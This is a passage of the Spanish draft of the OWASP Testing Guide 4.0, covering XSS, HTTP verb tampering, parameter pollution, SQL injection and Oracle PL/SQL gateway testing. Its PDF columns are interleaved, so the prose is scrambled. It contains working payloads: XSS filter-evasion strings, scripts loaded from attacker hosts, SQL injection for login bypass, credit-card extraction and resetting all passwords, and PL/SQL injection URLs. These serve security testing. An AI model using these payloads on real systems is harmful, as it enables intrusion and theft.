de caracteres; así que, por ejemplo, la aplicación web puede filtrar y sacar la aplicación web. Esto requiere examinar la HTML de la página web
"<script>", pero podría no filtrar %3cscript%3e que simplemente incluye resultante, en busca de la información de entrada para la prueba. Una vez
otra codificación de etiquetas. encontrada, el evaluador identifica los caracteres especiales que no
fueron codificados correctamente, reemplazados o filtrados. El conjunto
de caracteres especiales vulnerables sin filtrar dependerán del contexto
de esa sección de HTML.
Cómo probar
Idealmente, todos los caracteres especiales de HTML se reemplazarán con
Prueba de Caja Negra entidades HTML. Las entidades HTML claves para identificar son:
Sin embargo, una lista completa de entidades está definida por las
[2] Analice cada vector de entrada para detectar posibles especificaciones de HTML y XML. Wikipedia tiene una referencia
vulnerabilidades. Para la detección de una vulnerabilidad XSS, el completa [1].
evaluador suele utilizar datos de entrada especialmente diseñados con
cada vector de entrada. Estos datos de entrada son normalmente
inofensivos, pero desencadenan respuestas desde el navegador web que
manifiesta su vulnerabilidad. Los datos para pruebas pueden generarse En el framework de una acción de HTML o código JavaScript, un conjunto
utilizando un distorsionador de aplicaciones web, una lista automatizada diferente de caracteres especiales se necesitarán para escapar, codificar,
predefinida de cadenas de ataque conocidas o manualmente. reemplazar o filtrar. Estos caracteres incluyen:
\n (new line)
Algunos ejemplos de esta información de entrada son:
\r (carriage return)
\\ (backslash)
Para tener una lista completa de posibles cadenas de prueba, vea el archivo
XSS Filter Evasion Cheat Sheet.
Ejemplo 1
http://example.com/index.php?user=<script>alert(123)</script>
Ejemplo 2
Pruebe otra pieza de código (enlace) La mayor parte de la prevención XSS depende de la desinfección de la
aplicación web de datos no confiables del usuario. Hay varios
mecanismos disponibles para que los desarrollaldores realicen la
desinfección, como devolver un error, quitar, codificar, sustituir datos de
entrada no válida. El modo por el cual la aplicación detecta y corrige la
entrada inválida es otra debilidad principal en la prevención de XSS. Una
lista negra podría no incluir todas las cadenas de ataque posibles, una
“><script >alert(document.cookie)</script >
lista blanca puede ser excesivamente permisiva, la desinfección puede
fallar o un tipo de entrada puede calificarse incorrectamente como
confiable y mantenerse sin desinfección. Todo esto permite a los
atacantes burlar los filtros XSS.
“%3cscript%3ealert(document.cookie)%3c/script%3e
Ya que estos filtros se basan en una lista negra, no pueden bloquear todos
los tipos de expresiones. De hecho, hay casos en que una explotación XSS
puede llevarse a cabo sin el uso de etiquetas <script> e incluso sin el uso
de caracteres tales como "< > y / que comúnmente se filtran. Ejemplo 5: Para evitar la filtración no-recurrente
<scr<script>ipt>alert(document.cookie)</script>
<input type=”text” name=”state” value=”INPUT_FROM_USER”>
Entonces el atacante puede enviar el siguiente código: Ahora suponga que los desarrolladores del sitio objetivo implementaron el
siguiente código para proteger la entrada de la inclusión de script externo:
“ onfocus=”alert(document.cookie)
<?
$re = “/<script[^>]+src/i”;
En algunos casos, es posible que los filtros basados en la firma pueden ser {
simplemente derrotados ofuscando el ataque. Por lo general, usted puede
hacer esto mediante la introducción de variaciones inesperadas en la sintaxis o echo “Filtered”;
en la codificación. Estas variaciones se toleran por parte de los navegadores
como HTML, válidos cuando se devuelve el código y, sin embargo, también return;
podrían ser aceptadas por el filtro.
}
<script src=”http://attacker/xss.js”></script>
Resultado esperado
que es un ataque común. Pero, en este caso, es posible eludir la Vea los apuntes de repaso de evasión de filtros XSS para obtener una lista
desinfección usando el carácter ">" con un atributo entre script y src como más detallada de las técnicas de evasión de filtros. Por último, analizar las
este: respuestas puede ser complejo. Una manera simple de hacer esto es usar
un código que lance un cuadro de diálogo, como en nuestro ejemplo. Esto
normalmente indica que un atacante podría ejecutar un código JavaScript
http://example/?var=<SCRIPT%20a=”>”%20SRC=”http://attacker/xss arbitrario de su elección en los navegadores de los visitantes.
.js”></SCRIPT>
Las pruebas de Caja Gris son similares a las pruebas de Caja Negra. En las
Esto explotará la vulnerabilidad de reflexión del Cross-site Scripting
pruebas de Caja Gris, el evaluador de edición tiene un conocimiento
mostrada anteriormente, ejecutando el código JavaScript almacenado en el
parcial de la aplicación. En este caso, la información relativa a la entrada
servidor web del atacante como si se originara desde el sitio web de la
del usuario, los controles de validación de entrada y cómo se devuelve la
víctima, http://example/.
información ingresada por el usuario al mismo usuario, podrían ser
conocidos por el evaluador de edición.
Ejemplo 7: Contaminación del Parámetro HTTP (HTTP Parameter Si el código fuente está disponible (Caja Blanca), deben analizarse todas
Pollution (HPP)) las variables recibidas de los usuarios. Además, el evaluador debe
analizar los procedimientos de desinfección implementados para decidir
Otro método para eludir los filtros es la contaminación del parámetro si estos pueden ser eludidos.
HTTP. Esta técnica fue introducida por Stefano di Paola y Luca Carettoni
en el 2009, durante la Conferencia OWASP en Polonia. Vea la "prueba de
contaminación del parámetro HTTP" para obtener más información. Esta
Herramientas
técnica de evasión consiste en dividir un vector de ataque entre los
múltiples parámetros que tengan el mismo nombre. La manipulación del
• OWASP CAL9000
valor de cada parámetro depende de cómo cada tecnología web analiza
estos parámetros, por lo que este tipo de evasión no siempre es posible. Si
CAL9000 es una colección de herramientas de prueba de seguridad en
el ambiente de prueba concatena los valores de todos los parámetros con
aplicaciones web, que complementa el conjunto actual de proxys web y
el mismo nombre, entonces el atacante podría utilizar esta técnica para escáneres automatizados. Se presenta como una referencia en:
evitar los mecanismos de seguridad basados en el patrón.
sec101.sourceforge.net
Ataque normal:
• PHP Charset Encoder(PCE):
http://example/page.php?param=<script>[...]</script> yehg.net
• HackVertor: (XSS). Ofrece resultados de análisis de cero falsos positivos con su triple
motor de navegación único (Trident, WebKit y Gecko) escáner
businessinfo.co.uk incrustados. Se afirma que tiene la segunda carga de XSS más grande del
mundo, de aproximadamente 1600+ XSS cargas útiles distintivas para la
Ofrece varias docenas de codificaciones flexibles para ataques de detección eficaz de vulnerabilidades XSS y desvios WAF. El motor de
manipulación de cadena avanzada. Scripting de Xenotix le permite crear casos de prueba personalizados y
add-ons en la API de Xenotix. Tiene incorporado un módulo de
recolección de información abundante para reconocimiento de objetivos.
El framework de explotación incluye módulos de explotación de ofensiva
• WebScarab: WebScarab es un framework para analizar las aplicaciones que
XSS para la creación de pruebas de penetración y prueba de creación de
se comunican mediante los protocolos HTTP y HTTPS: owasp.org
concepto.
• XSS-Proxy: xss-proxy.sourceforge.net
Referencias
XSS-Proxy es una herramienta avanzada de Cross-Site-Scripting (XSS).
Recursos OWASP
• ratproxy: code.google.com
Libros Blancos
• OWASP Zed Attack Proxy (ZAP):
• CERT - Malicious HTML Tags Embedded in Client Web Requests: Read
OWASP_Zed_Attack_Proxy_Project
• Rsnake - XSS Cheat Sheet: Read
ZAP es una herramienta de penetración integrada, fácil de usar para
encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser • cgisecurity.com - The Cross Site Scripting FAQ: Read
utilizada por personas con un amplio espectro de experiencia en seguridad y
por eso es ideal para desarrolladores y evaluadores funcionales que son • G.Ollmann - HTML Code Injection and Cross-site scripting: Read
novatos realizando pruebas de penetración. ZAP ofrece escáneres
automatizados, así como un conjunto de herramientas que permiten • A. Calvo, D.Tiscornia - alert(‘A javascritp agent’): Read ( To be published )
encontrar las vulnerabilidades de seguridad manualmente.
• S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web
browser threat: Read
• Escaneo de puertos en hosts internos ("internos" en relación a los usuarios de la • User/Profiles page: la aplicación permite al usuario editar o cambiar los
aplicación web) datos del perfil tales como nombre, apellido, apodo, avatar, foto, dirección,
etc.
• Explotación basada en el navegador de entrega dirigida
• Shopping cart: la aplicación permite al usuario guardar artículos en el
• Otras actividades maliciosas carrito de compras que pueden ser revisados posteriormente.
Un XSS almacenado no necesita un enlace malicioso para ser explotado. • Application settings/preferences: aplicación que permite al usuario
Una explotación exitosa se produce cuando un usuario visita una página establecer sus preferencias.
con un XSS almacenado. Las fases siguientes se relacionan con una
situación de ataque XSS almacenado normal: • Forum/Message board: la aplicación permite intercambiar mensajes entre
usuarios.
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2F
Nota: Todas las áreas de la aplicación que son accesibles por el administrador script%3E
deben ser probadas para identificar la presencia de cualquier información
enviada por los usuarios.
Resultado esperado:
En este caso, el evaluador necesita encontrar una manera de inyectar el código <input class=”inputbox” type=”text” name=”email” size=”40”
fuera de la etiqueta <input> así como: value=”aaa@aa.com”><script>alert(document.cookie)</script>
• Inyectar un gancho de JavaScript que se comunica con el framework del Carga de archivos
navegador de explotación del atacante (BeEF).
Si la aplicación web permite la carga de archivos, es importante
• Esperar a que el usuario vea la aplicación en la página vulnerable donde se comprobar si es posible cargar contenido HTML. Por ejemplo, si se
muestra la información ingresada y almacenada. permiten archivos HTML o TXT, una carga XSS puede ser inyectada en el
archivo subido. El evaluador de edición también debe verificar si la carga
• Controlar la aplicación del navegador del usuario mediante la consola de BeEF. de archivos permite el ajuste arbitrario de caracteres MIME.
El gancho de JavaScript puede ser inyectado mediante la explotación de la Considere la siguiente petición HTTP POST para carga de archivos:
vulnerabilidad XSS en la aplicación web.
aaa@aa.com”><script src=http://attackersite/hook.js></script>
Content-Disposition: form-data; name=”uploadfile1”;
filename=”C:\Documents and Settings\test\Desktop\test.txt”
Content-Type: text/plain
Content-Type: text/html
Pruebas de Caja Gris Nota: La tabla anterior es sólo un resumen de los parámetros más
importantes, pero deben investigarse los parámetros de entrada de
La prueba de Caja Gris es similar a la prueba de Caja Negra. En la prueba usuario.
de Caja Gris, el evaluador de edición tiene conocimiento parcial sobre la
aplicación. En este caso, al respecto de la información ingresada por el
usuario, controles de validación de ingresos y almacenamiento de datos
Tools
podrían ser conocidos por el evaluador de edición.
• OWASP CAL9000
• BeEF: beefproject.com
BeEF es el explotador del framework del navegador (browser exploitation • Apuntes de repaso de evasión de filtros XSS
framework); una herramienta profesional para demostrar las
vulnerabilidades del navegador en tiempo real.
Libros
• XSS-Proxy: xss-proxy.sourceforge.net • Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web
Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
XSS-Proxy es una herramienta avanzada de ataque de Cross-Site-Scripting
(XSS. • Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook -
Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-470-
17077-9
• Backframe: gnucitizen.org • Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov,
Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and
Backframe es una consola de ataque completa para explotar navegadores Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3
web, usuarios web y aplicaciones web.
Libros Blancos
• OWASP ZAP: owasp.org
• RSnake: “XSS (Cross Site Scripting) Cheat Sheet”:
WebScarab es un framework para analizar aplicaciones que se comunican
usando los protocolos HTTP y HTTPS. owasp.org
El Proxy Burp es un servidor proxy interactivo de HTTP/S que sirve para cert.org
atacar y probar aplicaciones web.
• Amit Klein: “Cross-site Scripting Explained”:
courses.csail.mit.edu
• XSS Assistant: greasespot.net
• Gunter Ollmann: “HTML Code Injection and Cross-site
Es un Greasemonkey script que permite a los usuarios el acceso fácil a
cualquier aplicación web en busca de fallas en el cross-site-scripting. Scripting”: technicalinfo.net
ZAP es una herramienta de penetración integrada, fácil de usar para Perspective”: leviathansecurity.com
encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser
utilizada por personas con una amplia experiencia en seguridad y por eso es
ideal para desarrolladores y evaluadores funcionales que son novatos
realizando pruebas de penetración. ZAP ofrece escáneres automatizados, así Pruebas de manipulación de verbos en HTTP (OTG-INPVAL-003)
como un conjunto de herramientas que permiten encontrar las
vulnerabilidades de seguridad manualmente. Resumen
'verbo', el estándar de HTTP 1.1 se refiere a estas solicitudes como contactos JavaScript y AJAX pueden enviar métodos distintos a GET y
métodos HTTP distintos. POST.
La especificación completa de HTTP 1.1 [1] define los siguientes métodos Mientras la aplicación web que se está probando no se contacte
válidos de solicitudes HTTP, o verbos: específicamente con un método HTTP no estándar, las pruebas de
manipulación de verbo HTTP son bastante simples. Si el servidor acepta
una petición que no sea GET o POST, la prueba fracasa. Las soluciones son
OPTIONS
deshabilitar todas las funciones que no sean GET o POST en el servidor de
GET aplicaciones web, o en un firewall de aplicaciones web.
HEAD
MKCOL
COPY Recomendamos que use una herramienta para hacer esto, aunque le
mostraremos cómo hacerlo manualmente también.
MOVE
LOCK
UNLOCK
Pruebas de manipulación manual de verbos en HTTP
1.5 PUT
[METHOD] /[index.htm] HTTP/1.1
host: www.example.com
host: www.example.com
host: www.example.com
OPTIONS /index.html HTTP/1.1
host: www.example.com
1.8 CONNECT
host: www.example.com
GET /index.html HTTP/1.1
host: www.example.com
1.3 HEAD
• Para cada método y/o archivo de texto con el método, envíe la solicitud a su
servidor web vía netcat o telnet en el puerto 80 (HTTP):
HEAD /index.html HTTP/1.1
host: www.example.com
nc www.example.com 80 < OPTIONS.http.txt
1.4 POST
host: www.example.com
• Aunque cada método HTTP puede devolver potencialmente resultados printf “$webservmethod “ ;
diferentes, hay sólo un resultado válido para todos los métodos que no
sean GET y POST. printf “$webservmethod / HTTP/1.1\nHost: $1\n\n” | nc -q 1 $1 80 | grep
“HTTP/1.1”
Referencias
Libros Blancos
http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-
verb-tampering
Resumen
Abastecer múltiples parámetros HTTP con el mismo nombre puede causar que
una aplicación interprete los valores de maneras imprevistas. Al explotar estos
efectos, un atacante puede ser capaz de esquivar la validación de entrada,
provocar errores de aplicación o modificar valores de variables internas. Ya que
la contaminación de parámetros HTTP (HTTP Parameter Pollution [abreviado
HPP]) afecta los cimientos de la construcción de las tecnologías web, existen los
ataques del lado del servidor y del cliente.
40gmail.com(attacker email)&ok=Invite
Uno de estos defectos, que afectan a ModSecurity SQL Injection Core Rules,
representa un ejemplo perfecto del desajuste de impedancia entre
aplicaciones y filtros.
Como ejemplo, la URL /index.aspx?page=select 1&page = 2,3 de la tabla Dada la URL y la cadena de consulta:
no activaría el filtro ModSecurity, sin embargo, la capa de aplicación
concatenaría la entrada de vuelta convirtiéndola nuevamente en la http://example.com/?color=red&color=blue
cadena maliciosa completa.
http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos.
particular para probar, uno puede editar los datos GET o POST
interceptando la solicitud, o cambiando la cadena de consulta después de
que la página de respuesta se cargue. Para probar las vulnerabilidades
HPP, simplemente añada el mismo parámetro para los datos GET o POST,
pero asignando un valor diferente.
http://example.com/?search_string=kittens
http://example.com/?mode=guest&search_string=kittens&num_results=100
http://example.com/?mode=guest&search_string=kittens&num_results=100&se
arch_string=puppies
(fuente: Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf )
[1] Envíe una solicitud HTTP que contenga el nombre del parámetro En particular, preste atención a las respuestas que tengan vectores HPP
estándar y el valor; también grabe la respuesta HTTP. Por ejemplo, dentro de datos, src, atributos href o formularios de acciones. Otra vez, si
page?par1=val1 este comportamiento predeterminado revela o no una vulnerabilidad
potencial, depende de la validación de entrada específica, filtrado y
[2] Cambie el valor del parámetro con un valor alterado, envíe y grabe la aplicación lógica del negocio. Además, es importante hacer notar que esta
respuesta HTTP. Por ejemplo, page?par1=HPP_TEST1 vulnerabilidad también puede afectar los parámetros de la cadena de
consulta utilizados en XMLHttpRequest (XHR), para la creación del
[3] Envíe una nueva solicitud combinando el paso (1) y (2). Una vez más, atributo de tiempo de ejecución y otras tecnologías de plugin (por
guarde la respuesta HTTP. Por ejemplo, page?par1=val1&par1=HPP_TEST1 ejemplo variables de Adobe Flash flashvars).
[4] Compare las respuestas obtenidas durante todos los pasos anteriores.
Si la respuesta de (3) es diferente de (1) y la respuesta de (3) también es
diferente a (2), hay un desajuste de impedancia que puede, finalmente, Herramientas
ser objeto de abuso para disparar las vulnerabilidades HPP.
[1] OWASP ZAP HPP Passive/Active Scanners
Referencias
HPP del lado del cliente
Libros Blancos
Del mismo modo al HPP de lado del servidor, la prueba manual es la única
técnica confiable para auditar aplicaciones web con el fin de detectar [3] HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola
vulnerabilidades de contaminación de parámetro que afectan a los
componentes del lado del cliente. Mientras que en la variante del lado del [4] Split and Join (Bypassing Web Application Firewalls with HTTP Parameter
servidor el atacante aprovecha una aplicación web vulnerable para Pollution) - Lavakumar Kuppan
acceder a datos protegidos o realizar acciones no permitidas o que no se
[5] Client-side Http Parameter Pollution Example (Yahoo! Classic Mail flaw) -
deberían ejecutar, los ataques del lado del cliente apuntan a subvertir
Stefano di Paola
tecnologías y componentes de cliente.
[6] How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel
Resumen
Semejante al HPP del lado del servidor, contamine cada parámetro HTTP
con %26HPP_TEST y busque ocurrencias de decodificación de la url desde Un ataque de inyección SQL consiste en la inserción o "inyección" de una
la carga suministrada por el usuario: consulta SQL parcial o completa a través de los datos de entrada o
transmitidos desde el cliente (navegador) hacia la aplicación web. Un
ataque exitoso de inyección SQL puede leer datos sensibles de la base de
datos, modificar datos de la base de datos (insertar/actualizar/eliminar),
• &HPP_TEST
ejecutar operaciones administrativas de la base de datos (por ejemplo,
apagar el DBMS), recuperar el contenido de un archivo existente en el
• &HPP_TEST
sistema de archivos DBMS o escribir archivos en el sistema de archivos y,
• … and others en algunos casos, emitir comandos al sistema operativo. Los ataques de
inyección SQL son un tipo de ataque de inyección en los que los comandos
SQL se inyectan en la entrada de datos planos para afectar la ejecución de
instrucciones SQL predefinidas.
Sobre las técnicas de inyección SQL para explotar los defectos, hay cinco
select title, text from news where id=$id técnicas comunes. También las técnicas, a veces, se pueden utilizar de forma
combinada (e.g. operador de unión y fuera de banda):
Técnicas de detección
El evaluador tiene que hacer una lista de todos los campos de entrada completo, como en los ejemplos, ofrece una gran cantidad de información
cuyos valores podrían utilizarse en la elaboración de una consulta SQL, al evaluador para montar un ataque de inyección eficaz.
incluidos los campos ocultos de las solicitudes POST y luego probarlos
por separado, tratando de interferir en la consulta y generar un error.
Considere también las cookies y encabezados HTTP.
Sin embargo, las aplicaciones a menudo no proporcionan mucho detalle:
un simple '500 Server Error' o se emite una página de error
personalizado, que significa que necesitamos utilizar técnicas de
La primera prueba consiste, generalmente, en agregar una comilla inyección ciega. En todo caso, es muy importante comprobar cada campo
sencilla (') o un punto y coma (;) al campo o parámetro que está bajo por separado: sólo una variable debe cambiar mientras que todas las
análisis. La primera se utiliza en SQL como un terminador de la cadena y, otras permanecen constantes, a fin de entender precisamente qué
si la aplicación no la filtra, daría lugar a una consulta incorrecta. El parámetros son vulnerables y cuáles no.
segundo se utiliza para terminar una instrucción SQL y, si no se filtra,
también es probable que genere un error. El resultado de un campo
vulnerable podría parecerse al siguiente (en un Microsoft SQL Server, en
este caso): Pruebas de inyección SQL estándar
$username = 1’ or ‘1’ = ‘1
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
http://www.example.com/index.php?username=1’%20or%20’1’%20=%20
’1&password=1’%20or%20’1’%20=%20’1
(Debido a la inclusión de un comentario delimitador en el valor de
$username la parte de la clave de la consulta se omitirá.)
Después de un corto análisis, notamos que la consulta devuelve un valor La solicitud de URL será:
(o un conjunto de valores) porque la condición siempre es verdadera (o
1=1). De esta manera, el sistema ha autenticado al usuario sin saber el
nombre de usuario y contraseña. $password = foo
SELECT * FROM products WHERE id_product=$id_product SELECT * FROM products WHERE id_product=$id_product
Considere tambien una solicitud a un script que ejecuta la consulta anterior: Una manera de explotar el escenario anterior podría ser:
Cuando el evaluador intenta un valor válido (por ejemplo, 10 en este caso), la De esta manera, es posible ejecutar muchas consultas en línea e independientes de
aplicación devolverá la descripción de un producto. Una buena manera de la primera consulta.
comprobar si la aplicación es vulnerable, en este caso, es jugar con la lógica,
utilizando los operadores AND y OR.
Considere la consulta: Incluso el lenguaje SQL es un estándar. Cada DBMS tiene su particularidad, y
difieren unos de otros en muchos aspectos como comandos especiales, funciones
para recuperar datos como nombres de usuarios y bases de datos, funciones, líneas
http://www.example.com/product.php?id=10 AND 1=2 de comentarios, etc.
1) La primera forma de averiguar para qué sirve una base de datos de acceso
En este caso, probablemente la aplicación devuelva un mensaje diciéndonos que no restringido es observar el error devuelto por la aplicación. A continuación
hay contenido disponible o una página en blanco. Entonces el evaluador puede encontrará algunos ejemplos:
enviar una instrucción verdadera y comprobar si hay un resultado válido:
“’” at character 56 in /www/site/test.php on line 121. SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION
ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
MySql: ‘test’ + ‘ing’ Lo que unirá el resultado de la consulta original con todos los números de
tarjeta de crédito en la tabla CreditCardTable. La palabra clave ALL es
S L Server: ‘test’ ‘ing’ necesaria para obtener todas las consultas que utilizan la palabra clave
DISTINCT. Por otra parte, se observa que más allá de los números de tarjeta
Oracle: ‘test’||’ing’ de crédito, hemos seleccionado otros dos valores. Estos dos valores son
necesarios, porque las dos consultas deben tener un número igual de
PostgreS L: ‘test’||’ing’
parámetros o columnas para evitar un error de sintaxis.
http://www.example.com/index.php?id=1’
A través de estas funciones, se ejecutan nuestras pruebas sobre el primer La respuesta obtenida desde el servidor (que es código HTML) será el
carácter y, cuando hemos descubierto el valor, pasaremos al segundo y valor falso para nuestras pruebas. Esto es suficiente para verificar si el
así sucesivamente, hasta que haya descubierto el valor completo. Las valor obtenido mediante la ejecución de la consulta de inferencias es igual
pruebas aprovecharán la función SUBSTRING para seleccionar solo un al valor obtenido con la prueba que se ejecutó previamente.
carácter a la vez (seleccionar un solo carácter significa imponer el
parámetro de longitud en 1) y la función ASCII para obtener el valor
ASCII, y así poder hacer una comparación numérica. Los resultados de la
comparación se obtendrán revisando los valores de la tabla ASCII, hasta A veces este método no funciona. Si el servidor devuelve dos páginas
encontrar el valor correcto. Como ejemplo, usaremos el siguiente valor diferentes como resultado de dos peticiones web consecutivas idénticas,
para Id: no podremos discernir el valor verdadero del valor falso. En estos casos
particulares, es necesario utilizar filtros específicos que nos permiten
eliminar el código que cambia entre las dos peticiones y obtener una
$Id=1’ AND ASCII(SUBSTRING(username,1,1))=97 AND ‘1’=’1 plantilla. Posteriormente, para cada solicitud de inferencias ejecutada,
extraeremos la plantilla relativa de la respuesta usando la misma función,
y realizaremos un control entre las dos plantillas para decidir el resultado
de la prueba.
SELECT field1, field2, field3 FROM Users WHERE Id=’1’ AND ‘1’ =
‘2’
SELECT * FROM products WHERE id_product=$id_product SELECT * FROM products WHERE id_product=$id_product
http://www.example.com/product.php?id=10
http://www.example.com/product.php?id=10
La solicitud maliciosa sería (por ejemplo Oracle 10g): La solicitud maliciosa debería ser:
http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testers
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOS erver.com:80’||(SELET user FROM DUAL)--
T_NAME( (SELECT user FROM DUAL) )--
En este ejemplo, el evaluador concatena el valor 10 con el resultado de la En este ejemplo, el evaluador comprueba si la versión de MySql es 5.x o no;
función UTL_HTTP.request. Esta función de Oracle intentará conectarse a esto causa que el servidor retrase la respuesta por diez segundos. El probador
'testerserver' y hacer una solicitud HTTP GET que contenga el valor devuelto puede aumentar el tiempo de retraso y monitorear las respuestas.
por la consulta "SELECT user FROM DUAL”. El evaluador puede configurar
un servidor web (Apache por ejemplo) o utilizar la herramienta Netcat:
SELECT * FROM products WHERE id_product=$id_product Create procedure user_login @username varchar(20), @passwd varchar(20)
As Declare @sqlstring varchar(250) Set @sqlstring = ‘ Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring) Go
http://www.example.com/product.php?id=10
Referencias
User input: Páginas específicas de tecnología han sido creadas en la Guía de Pruebas para
las siguientes DBMS:
• Oracle
1 from users; update users set password = ‘password’; select *
• MySQL
• SQL Server
Esto resulta en la ejecución del informe y que las contraseñas de todos los
usuarios sean actualizadas.
Libros Blancos
La mayoría de las situaciones y técnicas presentadas aquí pueden • Chris Anley: “Advanced S L Injection In S L Server Applications”:
realizarse de forma automatizada utilizando algunas herramientas. En sparrow.ece.cmu.edu
este artículo, el evaluador puede encontrar información de cómo realizar
una auditoría automatizada usando SQLMap: owasp.org • Chris Anley: “More Advanced S L Injection”: encription.co.uk
utilizan el Gateway PL/SQL incluyen, pero no se limitan tan solo al embargo, la ubicación no es necesariamente /pls. La ausencia de una
servidor HTTP de Oracle, eBusiness Suite, Portal, HTMLDB, WebDB y extensión de archivo en una URL podría indicar la presencia del Gateway
Oracle Application Server. PL/SQL de Oracle. Considere la siguiente URL:
http://www.server.com/aaa/bbb/xxxxx.yyyyy
Cómo probar
http://www.example.com/pls/xyz
http://www.example.com/xyz/owa
http://www.example.com/xyz/plsql
SIMPLEDAD Oracle-Application-Server-10g
PORTAL Oracle-Application-Server-10g/9.0.4.0.0
Cuando se realiza una evaluación en un servidor, primero que nada es importante Oracle HTTP Server Powered by Apache/1.3.22 (Unix)
saber con qué tecnología está tratando realmente. Si no la conoce aún, por ejemplo, mod_plsql/3.0.9.8.3b
en un escenario de evaluación de Caja Negra, entonces lo primero que debe hacer
es descubrir esto. Reconocer una aplicación web PL/SQL es bastante fácil. En Oracle HTTP Server Powered by Apache/1.3.22 (Unix)
primer lugar, como se indicó previamente, está el formato de la URL y su mod_plsql/9.0.2.0.0
visualización. Más allá de eso hay una serie de pruebas sencillas que pueden
realizarse para probar la existencia del Gateway PL/SQL. Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Los encabezados de respuesta del servidor web son un buen indicador de si el Oracle_Web_listener3.0.2.0.0/2.14FC1
servidor está ejecutando el Gateway PL/SQL. La siguiente tabla muestra algunos
de los encabezados típicos de respuesta del servidor: Oracle9iAS/9.0.2 Oracle HTTP Server
La prueba NULL
SQL> BEGIN
“This page was produced by the PL/S L Cartridge on date” (Esta página
2 NULL; fue producida por el cartucho PL/SQL en la fecha)
3 END;
4 /
“This page was produced by the PL/S L Cartridge on date” (Esta página
fue producida por el cartucho PL/SQL en la fecha)
Podemos utilizar esto para probar si el servidor está ejecutando el
Gateway PL/SQL. Simplemente tome el DAD y anexe NULL, luego adjunte
NOSUCHPROC:
http://www.example.com/pls/dad/null
“This page was produced by the PL/S L Web Toolkit on date” (Esta
página fue producida por el conjunto de herramentas web de PL/SQL en la
fecha) Los ataques de script en sitios cruzados pueden lanzarse mediante un paquete
HTP.
http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert(‘XSS
’)</script>
http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_
STMT?SQLSTMT=SELECT+1+FROM+DUAL
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC
http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC
Algunas versiones del Gateway PL/SQL permiten que la lista de exclusión sea
evitada con una barra invertida - 0x5C:
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
http://www.example.com/pls/dad/foo.bar?xyz=123
1 declare
2 rc__ number;
3 start_time__ binary_integer;
4 simple_list__ owa_util.vc_arr; Mire las líneas 19 y 24. En la línea 19, la solicitud del usuario es revisada
contra un listado de cadenas "malas" conocidas, por ejemplo, la lista de
5 complex_list__ owa_util.vc_arr; exclusión. Si el paquete solicitado y el procedimiento no contienen
cadenas "malas", entonces el procedimiento se ejecuta en la línea 24. El
6 begin parámetro xyz se pasa como una variable de conexión.
7 start_time__ := dbms_utility.get_time;
8 owa.init_cgi_env(:n__,:nm__,:v__);
Entonces, solicitamos lo siguiente:
9 htp.HTBUF_LEN := 255;
10 null; http://server.example.com/pls/dad/INJECT’POINT
11 null;
12 simple_list__(1) := ‘sys.%’;
13 simple_list__(2) := ‘dbms\_%’;
el siguiente PL/SQL se ejecuta:
14 simple_list__(3) := ‘utl\_%’;
..
15 simple_list__(4) := ‘owa\_%’;
20 rc__ := 2;
22 null;
21 else
23 orasso.wpg_session.init();
22 null;
24 inject’point;
23 orasso.wpg_session.init();
29 null;
30 null;
31 commit;
Documento
32 else Pre-release cortesía de Fernando Vela para drangonjar.org
33 rc__ := 0; 180
34 orasso.wpg_session.deinit();
Guia de pruebas 4.0 "Borrador"
JAVA_AUTONOMOUS_TRANSACTION.PUSH http://server.example.com/pls/dad/orasso.home?);--=BAR
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
Esto resulta en que se ejecute la siguiente PL/SQL:
WWC_VERSION.GET_HTTP_DATABASE_INFO
..
orasso.home();--=>:);--);
http://server.example.com/pls/dad/orasso.home?FOO=BAR Note que a todo despues del doble menos (--) se lo trata como
comentario. Esta solicitud causará un error interno del servidor porque
una de las variables de unión no se usa más, así que el atacante necesita
incluirla nuevamente. Cuando esto sucede, la variable de conexión es la
clave para correr un PL/SQL arbitrario. Por el momento, ellos pueden
simplemente usar HTP.PRINT para imprimir BAR, y añadir la variable de
El servidor debe devolver una respuesta "404 File Not Found" (404 conexión requerida como:1:
Archivo no encontrado) porque el procedimiento orasso.home no
requiere parámetros y uno fue provisto. De todas maneras, antes que el
mensaje 404 sea devuelto, la siguiente PL/SQL se ejecutó.
http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--
=BAR
..
..
if ((owa_match.match_pattern(‘orasso.home’, simple_list__,
complex_list__, true))) then
Esto debe devolver un 200 con la palabra "BAR" en la HTML. Lo que
rc__ := 2; sucede aquí es que todo lo que viene despues del simbolo igual -BAR en
este caso- es la información anexada a la variable de conexión. Usando la
else misma técnica, también es posible obtener acceso a owa_util.cellsprint
nuevamente:
null;
orasso.wpg_session.init();
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLS
orasso.home(FOO=>:FOO); PRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
..
..
http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--
